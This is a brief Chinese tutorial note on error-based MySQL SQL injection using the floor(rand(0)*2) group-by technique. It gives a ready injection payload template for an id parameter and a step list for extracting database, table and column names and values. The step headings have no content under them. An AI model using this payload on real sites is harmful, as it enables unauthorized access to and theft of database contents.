前提:

   echo mysql_error(),输出错误信息。

  

熟悉的函数:

  floor()向下取整

     concat()返回的字符串参数连接的结果

  count()函数返回匹配指定条件的行数

  rand()函数是产生随机数(0或者1)的一个随机函数

  group by

   在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

函数的在mysql中的用法:

         http://www.freebuf.com/articles/web/38315.html

  固定格式:

     ?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )--+

   

 

步骤:

1.得到闭合字符

2.猜列数

3.得到数据库个数和数据库名

4.得到表个数和表名

5.得到列数和表名

6.得到列值

 

1.猜闭合字符

 

 

猜列数

 

猜解显示位:

 

 

报错得到数据库的个数

 

 

报错得到数据库的名字

 

 

报错得到表名

 

 

  报错得到列名:

 

得到列值